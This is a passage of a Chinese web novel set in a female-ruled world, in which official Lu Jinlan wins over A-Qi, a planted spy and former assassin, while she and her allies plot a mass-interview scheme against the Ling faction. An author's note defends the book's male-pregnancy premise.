他看了她一眼,见她昏沉沉的,也不知是睡着还是醒着,便自顾自道:“我小的时候特别喜欢吃冰糖葫芦,攒一个月的零花钱,才买得起一支。但我不想吃自己买的,我想吃我娘爹买的。” “于是我每次买了就插在墙缝里,绕一圈跑回来,假装我娘爹来看我了,她们没找见我,但是留了冰糖葫芦给我,呵。” 阿七说着说着暗觉自己好笑,心想:我跟一个醉鬼说这个干什么? 回头一看,陆锦澜呆呆的看着他,双眼水蒙蒙的。 他想,她醉得太严重了,酒都喝到眼睛里了。 陆锦澜揉了揉眼,“去让人送洗澡水来,我们沐浴更衣。” 沐浴?更衣?等等,我们??? 阿七瞬间又恨起了陆锦澜,呵!女人。 你跟她聊风花雪月童年创伤,试图让她了解你的过去,但她只想睡觉。 陆锦澜在浴桶里泡澡,阿七咬着牙在屏风外将她衣服抖得唰唰响,仿佛那上面有什么脏东西似的。 陆锦澜轻咳一声,“人呢?怎么磨磨蹭蹭的?” 想到自己的潜伏任务,阿七深吸一口气,低眉顺眼的走过去,“陆大人,您有什么吩……唔!” 陆锦澜拽着他的衣襟,强行索要了一个吻。 温热的唇贴在他的唇上,男人紧张到忘了呼吸。耳朵里听到什么怦怦怦剧烈的响,过了会儿才意识到那是自己的心脏。 浅尝辄止的一个吻,结束后陆锦澜舔了舔唇,看着他一动不动的样子,陆锦澜笑道:“亲你一下,瞧给你吓得。凌守备说你是会伺候人的,我看着怎么不像?你什么都没学过,她不会是在骗我吧?” 阿七一听到她起了疑心,忙道:“不是的,学……学了。师傅什么都教了,但我是新来的,学得时间短,所以学得不好。但伺候女人的事,都学了。” “是吗?”陆锦澜看着他一本正经的样子,暗觉好笑。 这人先是扮刺客来刺杀她,后来又扮成灾民暗中观察她,现在又扮成供人玩乐的小公子,说要伺候她。这么喜欢玩角色扮演,陆锦澜真想陪他玩玩。 “一会儿到床上,好好给我展示展示你的学习成果。” 阿七浑身一僵,哪怕只看背影也能猜到,他必定是在咬牙切齿。 陆锦澜躺在床上,寻思着他会一直磨蹭到她睡着,于是便贴心的装睡。 只是确实喝了太多的酒,装了一会儿,真睡着了。迷迷糊糊的感觉脚上有些痒,她稀里糊涂的想:这北州牧府怎么还有耗子? 她本能的踹了一脚,就听哎呦一声,阿七捂着鼻子坐在地上,气乎乎的瞪着她。 陆锦澜瞬间了然,她完全可以想象到阿七是如何悲壮的上了床,抱着豁出去的心态去亲吻她的脚,结果被她兜头踹了下去。 陆锦澜不想笑,但她忍不住。 “哈哈哈哈哈……” 阿七偷偷翻了她一眼,想起师傅教得语言技巧,硬是带着气说道:“能搏大人一笑,阿七倍感荣幸。” 好好地话,从牙缝里挤出来。像是在说:笑吧,笑死你! 陆锦澜憋着笑给他揉了揉,拉着他躺下,“好了,今天饶过你。不用展示你的学习成果了,睡吧。” 她是真想他睡着,可怀里的人一直僵着,陆锦澜跟抱块木头似的。 “睡不着?” “嗯,我不容易入睡。” “我小时候睡不着,我娘就按我的脖子,按两下我就睡着了,我给你按按。” 阿七受宠若惊,“不敢劳烦大人。” “哎,你就当我是你娘。按几下你就能睡个好觉,就是醒来脖子会有点酸。” 陆锦澜说着在他的后颈上不轻不重的按揉着,然后出其不意的点住了他的昏睡穴。 阿七脖子一软,沉沉的坠入了梦乡。 * 赵祉钰、项如蓁和晏无辛回来得晚,三人一到府衙,就听说陆锦澜带了个男人回来。 赵祉钰不由笑道:“真是色令智昏,想必人家也知道,送她金银她不稀罕,送她男人,她必定收下。” 晏无辛道:“我说程袁卿把咱们都请走呢,这要是我在,我必定得拦住她。” 项如蓁笑着摇头,“你?算了吧?你要是和她同去,今晚就会带两个来历不明的男人回来。” 二人一笑,晏无辛不服道:“那倒未必,男人我家里有的是,我可不爱吃野菜。锦澜才是荤素不忌,什么野草,她都敢拨弄几下。” “咳咳!”项如蓁屋内传来一声咳嗽。陆锦澜举着刚点的烛火走上前来,她的脸颊因酒意而微微泛红,眼神却无比清明,她笑盈盈道:“背后说人,也不怕闪了舌头。” 晏无辛怪道:“呦,你不是带了个男人回来吗?这会儿深夜良宵,正是锦被翻红浪的时候,你怎么跑出来了?” 陆锦澜撇了撇嘴,“说正事,你们在北州大营探到什么消息没有?” 赵祉钰和项如蓁对视一眼,无奈的叹了口气。 赵祉钰道:“人家既然敢请我们过去,自然是准备了万全之策,什么都看不出来。” 项如蓁道:“我在营里转了转,凌家军伙食很好,将士们都过得很滋润。她们日子过得这么好,心里感念的不会是朝廷,只会感谢凌家。人家上下一心,咱们要查凌家,反而会引起将士们的反感,人家没有理由透露消息给咱们。” 晏无辛道:“而且赈灾银要是她们盗的,用的一定是心腹,心腹怎么可能轻易出卖上级?我看北州大营是铁板一块,没有空子给咱们钻。” 赵祉钰想了想,问陆锦澜:“守备处那边想来也是一样?” 陆锦澜道:“守备处的兵也姓凌,自然和北州大营是一样的。不过,我敢肯定咱们前期的动作吓到了她们,让她们不得不害怕。她们怕了就有了动作,有了动作就露出了马脚。” 赵祉钰不懂,“什么马脚?” 陆锦澜笑道:“回殿下,马脚就在我床上。” 晏无辛一愣,随即道:“不对不对!她们这时候送个男人给你,肯定是别有居心。可一个男人能成什么事?他和凌家肯定没有直接关系,抓住了也没用。就算他是个细作,也就能传递个消息什么的。咱们什么都没查到,他传些鸡毛蒜皮的事儿,对咱也没影响。” 项如蓁道:“此言差矣,我们自己知道我们什么也没查到,对方却不知道。这个细作若是能被我们利用,那我们想让凌家知道什么消息,就让他传递什么消息。用假消息把程袁卿和凌夏搞得晕头转向,逼得她们自乱阵脚,咱们就来一个浑水摸鱼。” 陆锦澜道:“我正是这个意思。” 赵祉钰脸上露出酣畅的笑意,“太好了,本来是一团乱麻,无处下手,没想到对方自己丢了个线头出来。” 陆锦澜又道:“其实这些天,我一直有种感觉。我觉得在听风驿刺杀我的人,和抢劫赈灾银的不是一拨人。刺客的目的是取我的性命,夺赈灾银的那伙人是为了钱。可我一直没想通,刺客到底为什么要杀我。直到今天凌夏将这个男人塞给我,我便豁然开朗。因为这个男人,就是刺杀我的男刺客之一。” “什么?”晏无辛颇为震惊,“这么说,你岂不是很危险?” 陆锦澜摆了摆手,将桌上的水壶和杯子拉到跟前。 “这个杯子代表北州的凌家军,我们都知道她们背后的主子是凌氏姐妹。” 她把那个杯子放到大家面前,又把水壶放在杯子旁边。 “程袁卿和凌夏听命于凌氏姐妹,抢夺了赈灾银。她们之间的关系非常密切,我们无处下手。” 她拿起第二个杯子,“这个杯子代表那些男刺客,凌夏既然把刺客伪装成小公子送给我,那我们就可以确定,刺客的主子也姓凌。” “等一下!”项如蓁有些不解,“凌氏姐妹为什么要让人刺杀你?” 陆锦澜看了眼赵祉钰,“殿下应该知道理由。” “我?”赵祉钰想了想,灵光乍现恍然大悟,“没错,我早该想到,刺杀你的必然是凌 家人。理由再简单不过,宋家军和凌家军在边境相互制衡十数年。宋将军没有女儿,凌氏姐妹本来只要等着她老了,宋家军就不足为惧。可偏偏锦澜和宋凛丞订了婚,宋家军一下子就有了继承人,而且这个继承人还是个少年英才,凌家怎能不忌惮?” 陆锦澜点头道:“我猜就是这个理由,不过刺客没能得手。现在对于凌氏姐妹来说,威胁最大的是赈灾银案。杀我,什么时候动手都行,不急于一时。于是,她们改变策略,想利用我的风流在我身边放个细作,用来探知咱们的消息。” 晏无辛拍了拍手,“妙啊!我看她们这招美男计总共分三步,一取得你的信任,二利用你的消息渠道,三在她们确认过关后杀了你,一箭双雕。” 陆锦澜点了点头,可项如蓁有些担忧道:“可万一她们知道事情败露,这个男人提前对你下手怎么办?不行,他和你同吃同睡,这个方法太冒险了。” 晏无辛笑了笑,“如蓁,你这就不懂了。哪个男人遇到咱们陆大才女,能够不动心?你不要小瞧锦澜的魅力,她可是把目中无人的宋公子都迷得一愣一愣的,你们忘了食堂祭祖事件了?” 陆锦澜喝了口茶,笑而不语。 赵祉钰问:“你对这个男人有把握吗?” 陆锦澜笃定道:“我至少确信,他不会要了我的性命。” 赵祉钰不信,“那可是凌家豢养了十几年的冷血杀手,你哪来的信心让他背叛他的主人?” 陆锦澜笑道:“第一,他是个有原则的人,并非冷血。第二嘛,那天的小笼包就是他送的。你们说,如果你要杀一个人,会惦记她有没有饿肚子吗?” 赵祉钰笑着摇头,“我算服了。这么说来,此人对你颇有意思。那事成之后你打算把他怎么办?是不是也按无辛说的那三步,信之用之而后杀之呢?” 陆锦澜揉了揉太阳穴,脑海里浮现出阿七捂着鼻子黑着脸摔在地上的场景,勾了勾嘴角,“我还没想好,先做完前两步再说吧。” 赵祉钰道:“那就先这么办,接下来我们几个就带人四处寻访,做出一副不查到底誓不休的样子。锦澜就负责以情动人,哄哄那个男的,让他以为他已经取得了你的信任。” 陆锦澜摇头,“殿下,哄怕是会让他和他背后的主子起疑,反其道而行之,或许更见神效。” 晏无辛眼睛一亮,“我懂!你就来个强制占有,把他一番撩拨,推倒在床,然后强行纳入……” “停!”陆锦澜恨不得捂住她的嘴,嫌弃道:“强要了他,只会适得其反。攻身为下,攻心为上。” 赵祉钰颇为认同,“这么说,你已经有了主意?” 陆锦澜笑着拱手:“烦请诸位配合。” * 阿七一觉醒来,陆锦澜还在睡着。 他揉了揉脖子,果然有些酸痛,但这一觉睡得好极了。 他轻手轻脚的下了床,到外面打了盆温水,准备伺候陆锦澜洗漱。 然而脚步刚迈过拱门,忽然有人捂住了他的嘴。 水中的水盆当啷一声扣在地上,阿七本能的想要出手还击,却突然想到自己只是个伺候人的小公子,不该暴露身手,只好任由对方将他拖到一个房间门口。 “进去!”项如蓁推了他一把。 阿七跌在地上,抬头一看,大皇女端坐在椅子上,晏无辛站在一旁,项如蓁堵在门口,三人都用审视的目光打量着他。 难道我暴露了?阿七心里一紧。 赵祉钰低头拨了拨茶,“那个叫阿七的,上前回话。” 阿七膝行几步,老实的跪到她面前。 赵祉钰捏着他的下巴,仔细端详着他的脸,“嗯,是个好皮囊,难怪要派你来充当细作。” 阿七一惊,连忙否认:“什么细作?我不知道。” 啪!赵祉钰甩手便是一巴掌,打得屋内的人都愣了一下。 赵祉钰道:“如此不老实,我看你是活腻了。说!谁派你来的?你留在陆大人身边有什么目的?” 阿七辩解道:“我只是一个人家出钱买来的小公子,主家让我伺候谁我就伺候谁。陆大人肯收下我,我自然要留在她身边,为的是以后终身有靠。” 赵祉钰冷哼一声,“好硬的嘴。来人,给我狠狠地打!” “住手!” 阿七猛一回头,见陆锦澜沉着脸大步闯了进来。 她皱着眉看了眼他红肿的脸,冷声道:“殿下,我若有什么做得不对,您责罚我便是,何必为难我身边的人?对一个弱男子动手,传出去,只怕有碍您的威名。” 赵祉钰啧了一声,“锦澜,你怎么这么糊涂?咱们正在紧锣密鼓的调查赈灾银被盗案,这个时候怎允许身边有闲杂人等?” 陆锦澜道:“殿下误会了,他只是我在凌守备那里随口要来的一个小公子,伺候我起居而已,不会影响大事。” “是吗?”赵祉钰看了一眼晏无辛。 晏无辛立刻上前抓过阿七的手,掰开他的手掌按了按,“他掌上有薄茧,是习武之人。” 陆锦澜一怔,阿七慌道:“我只是学过一些三脚猫的功夫,为了防身而已,我真的不是细作。陆大人,你相信我。” 他拽着陆锦澜的衣摆,急切的恳求。 陆锦澜轻叹一声,“殿下,世道这么乱,男儿家修习武艺也是情理之中。我的男人,哪个不是会武功的?没什么大惊小怪的。” 赵祉钰无奈道:“好吧,你非要保他,我也不勉强。英雌难过美男关嘛,只是锦澜,咱们丑话说在前头。在这个节骨眼,若是你身边的人出了问题……” 陆锦澜凛然道:“若是他出了问题,由我一力承担。罢官还是降职,悉听尊便。” 陆锦澜说着拉起跪在地上的阿七,“我们走。” 阿七心里七上八下的跟着她,两人回到房中,陆锦澜看了看他的伤,不由皱着眉喃喃道:“谁让她们动手的?还打得这么重。” 阿七忙道:“没事儿,我常挨打。” 陆锦澜一愣,“啊?” “呃,因为我学伺候人学得慢,所以师傅会有惩戒。” 陆锦澜叹了口气,轻轻地帮他擦了些药,语重心长道:“你习惯什么都行,就是不能习惯挨打。这个坏习惯,要改。” 阿七沉默片刻,“只是一巴掌而已,只要大人您相信我,我就不觉得疼了。” 陆锦澜抿了抿唇,低声道:“我并非相信你,只是不想看着你死。刚才那种情况,我若不保你,你非死不可。” 阿七懵了一下,几乎心跳都停了下来,喃喃道:“你就不怕真出了事,殿下拿你试问?” 陆锦澜灿然一笑,“我陆锦澜以风流著名,并非因为我招惹的男人多。而是我敢作敢当,从不辜负任何一个男人。我不愿你因我而死,就算以后你真的背叛了我,我也只怪自己看错了人。不过,牡丹花下死,做鬼也风流,就算我为你下了大狱,也不算堕了我风流才女的名号。” 她抚摸着阿七的脸颊,温声道:“现在这里只有我们两个,你老实告诉我,你到身边是不是别有用心?” “你不要怕,就算你是凌守备安排的, 我也会放你走。明争暗斗打打杀杀是我们女人的事,不该让你一个男人卷进来。就算你是她们安排的,我也相信这不怪你。你只是一枚棋子,身不由己,我绝不为难你。” 阿七怔在那里,陆锦澜这番话完全在他预料之外,让他措手不及。明明他是来害她的,可她救他护他为他上药,还要放他走。可他若真走了,回去等着他的,必定是生不如死的惩罚。 他糊涂了,为什么他誓死效忠的主子,总是罚他打他?而他精心算计的女人,却如此怜惜他? 他一时冲动的想:不如我就此离开她,免得害了她。回去是死是活,都是我的命,这一生也只能这样身不由己。 可他转念又一想:我若走了,师傅还会派别人来。她如此心无城府,迟早会被人害死。我若走了,这辈子也没机会再在她身边。不如留在这儿,能多相处一时一刻,也算是我的福分。 他红着眼对她道:“多谢你如此宅心仁厚,可我只是一个小公子,不是谁的棋子。别赶我走,留我在你身边吧。” 陆锦澜抱住他轻舒一口气,“那我就放心了,走,我带你出门散散心。” 躲在暗处偷听的三人,表情各异。 晏无辛悄声嘀咕:“这有用吗?他还是没说实话。” 项如蓁微微一笑,“你懂什么?这比说实话都有用,你看他内心挣扎的样子,我看,他已经沦陷了。” 赵祉钰打趣道:“别看如蓁不近男色,可比咱俩都懂男人。我真好奇,等如蓁娶了夫郎,会是什么样子。” 说话间屋内的人出来,三人默默缩回脑袋。 陆锦澜拉着阿七的手,在街上买买买。她一向是不吝惜银钱的,没一会儿工夫,阿七手里已经大包小包的,都快拿不下了。 阿七不好意思道:“够了,咱们回去吧。发簪都买了七八支,也不知道我有几个脑袋。” 陆锦澜笑了笑,“还有样重要的东西忘了买,你在这儿等着我,我去去就回。” 阿七勾着嘴角坐在巷口,手里摆弄着手里精致的物件,直到一道黑影笼罩在他头顶。阿七一慌,手里的匣子掉在地上,金银玉器散落一地,脸上的笑意荡然无存—— 作者有话说:日六成功,我站起来了!此处特别感谢一位叫mpk的读者,谢谢她在某平台为这本小说仗义执言。昨晚因为一些误解性的指责伤心气愤,影响了状态,但看到真正看了书的人,来为我说话,也就看开了,我不可能让所有人满意。 关于男生子这件事,很多人会先入为主的觉得这是把女性的能力给了男人,剥夺了女人的生育权。那我再次解释下,本文设定中生理构造不变,发生关系时女人来决定要不要释放卵子,男人得到卵子后,体内形成含精卵,孕育十个月剖腹取出。本文写得是女性群像,并不是管男人叫女人,管女人叫男人。另外我认为,当下所谓的生育权普遍被剥夺。被催生被逼生,生了随别人姓,生育者反倒成了外姓人,权力体现在哪儿?有人说生育能力很重要,不能给男人。请问这个能力多重要?因为有这个能力我们女人能走上权力巅峰吗?享受优待吗?我们拥有如此重要的能力,为什么在男权社会处境如此艰难?哦,因为在男权社会。对啊,问题就在这里。谁掌握权力,谁来决定一切。本文中,掌握权力的是女人。她们名满天下大杀四方,开疆拓土保家卫国,甚至坐拥万里江山。而有些人不在乎这些丰功伟绩,只在乎是不是由她们来生孩子。关掉小说,看看身边,都是女人在生孩子,看看她们得到了什么。当然我的想法,也只是我的逻辑。绝不强求认同,只是我不喜欢被误解。我不是一无所知就开了本女本位的书,我有学习和思考。做得不够好的地方是能力问题,但怀疑我的初心我会觉得冤枉。总而言之,我的想法就是她的血脉需要传承,她自己不想生,就让男人来生。这对主角来说,有零个坏处。谁要是对我说,用你的子宫置换至高无上的权力、第一性的地位、花不完的金钱,我只会说好处说完了,坏处呢?生孩子如果是件好事儿,为什么现在这么多人不想生呢?你都不想生,你却想让我主角生,哈喽?你咋这么坏呢?另外想看女人生孩子的文大把,生一百多个都有,请自便吧。 其实写这本书的时候,已经预想过会被很多人骂,只是骂我的不是预想的那拨人,我还是小小的震惊了一下。但这不重要了,被误解是表达者的宿命。重要的是,那些看到这里的你们,懂得我的故事。感谢每一个你,你们是这个故事存在的意义。我感觉很好,会继续固执的写下去。 第54章 阿七:“师傅。” 师傅沉下脸,“跟我来。” 阿七抱着那一堆东西,心情沉重的跟着师傅走到僻静的巷子里。 师傅看了看他脸上红印,不由皱眉,“怎么会挨打?不是让你好好顺从她吗?” 阿七忙道:“不是陆锦澜打的,是大皇女。她们怀疑我的身份,一大早把我抓去审问了一通。她们发现了我手上的薄茧,差点把我赶出来。” 师傅忙问:“那你过关了没有?” 阿七道:“幸好陆锦澜护着我,徒儿也竭力应对,勉强过关了。” 师傅满意的点了点头,“太好了,你没有经验,为师就怕你露了破绽,坏了大事。对了,你昨晚和陆锦澜同房没有?” 阿七脸上一热,尴尬道:“没有。” “这怎么行?陆锦澜那么好色的女人,竟然还没碰你,说明她根本没有彻底信任你。” 师傅急得团团转,阿七却摆烂道:“那她不想,我也没有办法。” 师傅瞪了他一眼,“我想起来了,昨日主人特意从京城送来密信,信上说京城那边多方打听得知了一个重要消息,陆锦澜喜欢主动的男人。你不要傻等了,要学会主动出击,明白吗?” 阿七叹了口气,“是,徒儿知道了。师傅若没有别的吩咐,我就先出去了,免得她起疑。” “等一下!”师傅在他身旁转了转,摸了摸他怀里的布料,警告道:“为师还要提醒你一句,不要忘了你的身份。她现在对你好,是因为她把你当成一个单纯的小公子。如果她知道你是刺杀过她并且潜伏在她身边的细作,她会毫不犹豫的掐死你。” 阿七脊背发凉的站在那儿,感觉像大冬天被人泼了一盆冷水。刚刚的好心情全都消失不见,取而代之的是说不清道不明的哀怨。 为什么要在最快乐的时候叫醒我?果然,卑微的人,连美梦都是奢侈的。 他心里像被被压了一块大石头,沉重得喘不过气,“徒儿不敢忘了自己的身份。” 师傅深谙软硬兼施的手段,又温声道:“你要记住,是主子把你养大,供你吃供你穿,还教会你一身武艺。现在主子处境艰难,你是我们唯一的希望,你可千万不能让主子失望。” 阿七忙道:“主子的养育之恩,师傅的教导之情,徒儿永远铭记在心。” 师傅拍了拍他的肩膀,“嗯,这就对了。师傅知道,你是个好孩子。可你毕竟没有接触过女人,陆锦澜是风月场上的老手,像你这样纯情少男最容易被骗。不要觉得她给你买些金银细软,就是对你好。陆家富甲天下,钱对她来说不是稀罕物,她说不定对每个男人都是这样。” “她刚刚见到你,宠着你只是图个新鲜。像她这种年少成名的女人,大把的男人供她挑选,她怎么会看上你呢?等她离开北州,新欢旧爱围上来,连你是谁都不会记得。你万万不可动真心,知道吗?” 阿七艰难的点了点头,“知道。” * 陆锦澜找过来的时候,阿七正神情沮丧的从巷子里走出来。 阿七见到她,连忙挤出一丝笑意,“你买完了?” 陆锦澜笑问:“你猜我买了什么?” 阿七脑子里还是乱哄哄的,实在提不起兴致,“我笨,猜不出来。” “你看!”陆锦澜自身后拿出一支晶莹剔透的冰糖葫芦,笑盈盈递到他面前。 阿七神情呆滞的看着她,连假笑都忘了。 陆锦澜接过他手里的东西,把冰糖葫芦塞到他手里,“尝尝,这家门口排了好长的队,味道应该特别好。” 阿七木然的咬了一口,的确很好吃。味道像他小时候吃过的第一根糖葫芦,吃一口就知道自己这辈子都会喜欢这个味道。 外层的糖浆甜得能让人忘了吃过的苦,里面的山楂去了籽,酸得恰到好处。 可阿七不知怎么了,一口咬下去,一阵鼻酸,眼泪就那样不 打招呼的掉了下来。 陆锦澜忙问:“怎么哭了?” 阿七握着那支冰糖葫芦,手有些轻颤。他很想问她,是不是对每个男人都如此用心?就算是不喜欢的男人,也能记住他的喜好吗? 可他不敢问,末了只能说一句:“我还以为昨晚你没听见。” 陆锦澜笑了笑,“我又不聋,当然全听见了。” 陆锦澜给他擦了擦眼泪,“快别哭了,你看,巷子口有个扎满冰糖葫芦的靶子,你去把它拿上。” 阿七定睛一看,果然有一把无人看管的糖葫芦立在那。 他不由劝道:“咱又不知道是谁买的,平白拿走多不好。” 陆锦澜乌眉一挑,“你不知道是谁买的吗?” 阿七摇了摇头。 陆锦澜一本正经道:“你娘爹给你买的。” 空气凝固了片刻,阿七的眼泪瞬间止住,开始磨牙,“陆锦澜,你取笑我!” 陆锦澜大笑着跑开,“快拿上,咱们回家。” 两人笑着回了北州牧的府衙,逢人就发糖葫芦。 于继芳家的三个孩子一手一个,兴冲冲的围着二人。 于家的女儿拉着陆锦澜的手问:“陆姐姐,你怎么买了这么多糖葫芦啊?” 陆锦澜捏了捏她的小脸,“等你长大你就知道了,这叫博美男一笑。为了这把糖葫芦,你陆姐姐还挨了顿骂。” 阿七忙问:“谁骂你了?” “排队买糖葫芦的呗,本来她们马上就能买到了。没想到我把一整把都包了,她们得等老板做新的,还得一会儿工夫。我都走出好远了,还能听见有人跳着脚骂:有钱了不起啊?” 大家一阵哄笑,晏无辛走过来咳嗽一声,“锦澜,殿下请你过去议事。” 陆锦澜放下东西,刚要跟她过去,见晏无辛使了个眼色,她便转身回来,摘了几只糖葫芦,“崔大人爱吃甜的,我路过给她送去。” 可怜的崔大人这几日得了风寒,饮食清淡得连盐都不敢多放,吃一口冰糖葫芦怕是嗓子都要咳破了,哪敢吃这个? 当然,陆锦澜也不是给崔大人带的。她只是不好意思说,她这几个狐朋狗友还在青春期,都爱吃甜的。 四人一人一支糖葫芦,一边咔滋咔滋的嚼着,一边商量国家大事。 赵祉钰:“我们没头苍蝇似的在北州城四处问询,声势倒是造得很足,但问不到凌家头上,我怕她们很快就察觉咱们根本没线索。” 项如蓁叹道:“这也是没办法的事。皇上既然不允许咱们轻举妄动,咱总不能带人冲到北州大营,把主将都抓起来挨个审问。” 晏无辛道:“要是有什么方法先把北州大营和守备处的人扯进来就好了,最好让她们没办法拒绝,挑不出毛病,但又战战兢兢,怕咱们查出来什么。” 陆锦澜歪了歪头,这话术听着有点耳熟,好像上辈子听过。 她揉着太阳穴,使劲儿的想,回忆起以前单位的大姐跟她讲过,那年扫黑除恶,所有部门都被约谈…… 陆锦澜一拍桌子,激动道:“我想到了!” 三人忙问:“有什么主意?快说快说!” 陆锦澜道:“咱们不提前两次赈灾银被盗的事儿,找一个别的名头,把北州大营、守备处和各大小衙门全约谈一遍。” 晏无辛:“约谈?没听过这个说法啊。” 陆锦澜笑道:“约谈也叫请喝茶,看似云淡风轻,但足以搅动风云。回头我要写个文章,就论这个约谈的妙用。以后钦差到了地方,都可以先约谈一波。别管谈得怎么样,只要消息一传出去,心虚的人怕得要死,上吊的上吊,跳楼的跳楼。” 赵祉钰微微点头,“约谈可以,但什么名头能把军队和衙门都扯进来?” 陆锦澜一笑,“这个名头是现成的,咱们进城前不是遇到了劫匪吗?我们就说这个……这个在北州地界遭遇劫匪,各部门都有失察失职之嫌。殿下您牵头,组个临时调查组,组里一定要找几个最爱八卦的人,不管去了哪个衙门,都能使劲儿的问上半天。” “真相肯定是问不出来的,但就要形成一种威慑。让大家对这个调查组闻风丧胆,感觉进去谈一次话,祖宗十八代都得被刨出来。” “约谈之前,请殿下先给各处下发一张公文。知会各方,您要整肃北州治安,就咱们遇劫匪一事及其他各项违法违规事宜,要求各部门自查自纠,主动提供线索。” “另外,这段时间任何人不许离岗,调查组不日上门,让她们随时准备好被约谈。措辞可以严厉些,给她们制造紧张感。但又不针对任何人任何部门,就是一次涉及整个北州的大规模约谈。” “记住!千万不能告诉大家咱们具体的约谈日期。那些做了亏心事的,就让她们慌、怕、着急,像热锅上的蚂蚁,晚上连觉都睡不好。到时候咱一盘问,心理承受能力差的说不定当场就崩溃了。搂草打兔子,也许还有意外收获呢。” 陆锦澜在屋子里走来走去,越说越兴奋,一回头发现三人满脸震惊的看着她。 陆锦澜:“怎么了?这招不行吗?” 赵祉钰点头,“行,可以说是绝妙。但我发现你这人真是头脑灵活,你要是想整谁,总能想出一堆别人打死也想不到的主意。幸好咱们是一起的,若是站在对立面,你必定是我的心腹大患。” 陆锦澜笑了两声,“殿下,我是您的心腹,不会成为大患的。” 晏无辛立刻打趣道:“陆锦澜这种人必须和咱站在一起,她坏得冒烟。她要是站在敌人那边,我睡觉都得睁只眼。殿下,您不行赏她点东西吧。这种人才,您不用,也绝对不能让别人抢走。” 大家笑了笑,项如蓁又笑道:“这主意是好,我听着好像还没说完吧?咱们投石问路敲山震虎,凌家军也未必崩溃,她们都是战场上的杀伐之人,见惯生死,没那么胆怯,不可能主动交代的。” 陆锦澜道:“知我者,如蓁也。我只说了前招,后招还没说呢。你们就一个个说我坏得冒烟,那我下面的缺德主意都不敢讲了。” 赵祉钰无奈道:“快讲!先别管缺德不缺德了。她们年年偷赈灾银,害死了那么多北州百姓,她们都不怕缺德。咱们为了查清真相使点儿手段,无伤大雅。你尽管说,此事若成了,你要什么赏赐,我帮你去和圣上求取。” 陆锦澜喜道:“那我就实话说了,我一直心仪殿下的汗血宝马,这事要是成了的话……” 赵祉钰果断道:“成了赏你。” 陆锦澜嘿嘿一笑,“那我就说了,我这主意妙在后招。前面只是让她们人心惶惶忐忑不安,我们一家一家衙门的约谈,没有任何顺序规律,让她们完全摸不着头脑。直到有一天,咱们约谈到北州大营和守备处。在这两处,咱们花费的时间一定要比别的衙门都长。” 项如蓁了然,“让她们以为咱们问到了真东西?” 陆锦澜:“没错。这一天,咱们约谈到深夜才放人。你想,都是单个约谈,除了咱们和被约谈的当事人,谁也不知道咱们说了什么。时间那么长,程袁卿和凌夏会不起疑吗?” 赵祉钰道:“可能会疑心,但毕竟是多年部下,可能还是信任多些。” 陆锦澜道:“那咱们就让她俩想不怀疑都不行,咱们约谈完北州大营和守备处之后,便停止约谈。不管后面剩下多少衙门,殿下您都要告诉她们,约谈已经结束了。” 晏无辛拍掌赞道:“妙啊!这样一来,程袁卿和凌夏一定会认为咱们在她们那儿,已经得到了想要的东西,一定会怀疑参与过约谈的所有部下。” 陆锦澜勾了勾嘴角,“没错,但也只是怀疑而已,这时候我们就使出最精彩的一招,将这个反间计的效力发挥到最大。” 项如蓁想了想,“难道你想告诉她们,凌家军里有人告密?” 陆锦澜微微摇头,得意道:“我告诉她们,恐怕她们不信。但是如果是她们自 己的人,冒着风险,将不好容易探听到的消息告诉她们,你说她们信不信呢?” 赵祉钰当即起身,“我再送你一副暖玉马鞍,我相信此计一定能成。我这就去着人安排,今日下发约谈公文。即日起,北州大小衙门、北州大营、北州守备处,有品衔的官员将领一律不许休沐不许离开北州,全部等着调查组上门约谈。” 她将吃了一半的糖葫芦丢掉,大步出门去了。 剩下三人互相看了看,晏无辛:“我不管,你得了汗血宝马先借我骑两天。” 项如蓁嫌弃的看她一眼,“没出息,事儿还没成,先别急着庆祝。” 项如蓁转而对陆锦澜道:“你一定要把那个阿七稳住,他现在可是计策里最重要的一环。” 陆锦澜胸有成竹,“放心,我有秘密武器,必定能稳住他。” 晏无辛忙问:“什么秘密武器?” 陆锦澜笑得颇为神秘,“不告诉你。” * 陆锦澜回到房间,阿七坐在窗边整理东西。 陆锦澜悄步进去,自身后抱住他,“忙活什么呢?” 阿七一怔,笑道:“你这儿东西太多了,不放整齐,丢了都不知道。” 陆锦澜笑了笑,“我这些天身边又没个男人,谁给我收拾啊?不过你这么贤惠,就交给你了。你慢慢弄,我去换件衣服。” 陆锦澜刚走到屏风后,管家在外面拍门道:“陆大人,有您的信件。” 陆锦澜随口道:“七郎,你去帮我拿进来。” 七郎?阿七脸一热,心脏乱跳了几下。 他笑着将信拿进来,便听陆锦澜问道:“谁写给我的信?” 阿七迟疑了一下,“有两封。” 陆锦澜笑道:“几封不都得有名有姓吗?我问你是谁写的。” “是……是……” 他吞吞吐吐的,陆锦澜系着扣子从屏风后走出来,阿七尴尬道:“我不识字。” “哦。”陆锦澜接过信看了看,“这是家书,我的未婚夫和我的雅侍写给我的。” 阿七“嗯”了一声,酸道:“那他们还挺厉害的,都会写字。我听说你未婚夫是宋将军的独子,文武双全,容貌也是万中无一。” “他的武功……”陆锦澜本来想说‘他的武功倒是没法和你比’,好悬把实话秃噜出去。她惊觉自己差点说漏嘴,忙道:“他的武功也是学来防身的。” 阿七又道:“我还听说你招惹过一个青楼公子,他后来怎么样了?” “我给他赎身了。” “赎身了?那你现在还记得他长什么样吗?” 陆锦澜一笑,“我还没到健忘的年纪吧?他现在过得很好,嫁给人家做小郎,孩子都有了,正在养胎呢。” 阿七一惊,“我还以为对你痴心过的男人,再也没办法另属她人。他倒是看得开,只是你救了他,他转头嫁了人,你也不生气?” 陆锦澜勾了勾手,在他耳边低声道:“我不生气,因为他嫁的那人就是我。” 阿七又是一惊,暗道:怪不得人人都说陆锦澜行事不羁,随心所欲,她连青楼公子都能娶回家里,果然是不拘一格。只可惜,我还不如青楼公子。人家赎身用钱,我若想赎身,只能用命。 陆锦澜见他若有所思的样子,握了握他的手,“你若想学识字,我教你,你想学吗?” “想。”阿七连忙挽起袖子,搬了张椅子过来。 阿七真的是个有求知欲的人,陆锦澜已经很久没有见到求知若渴的男人了。陆锦澜先教他如何下笔,又写了些常用字教他,不一会儿阿七就全学会了。 虽然写得歪歪扭扭,但一问全认识。桌上的一沓纸很快被他写完,他自己又跑出去买了纸买了字帖,回来便坐在窗前,写个不停。 二人吃完晚饭,他又回到了书桌前。点着灯,连夜苦学。 陆锦澜洗完澡在屋子里转了转,琢磨着我这儿也不是书院啊,他怎么学起来没完了? 她暗示性的捏了捏他的腰,“七郎,该歇息了。” 阿七头也不抬,“你先睡吧,我还不困。” 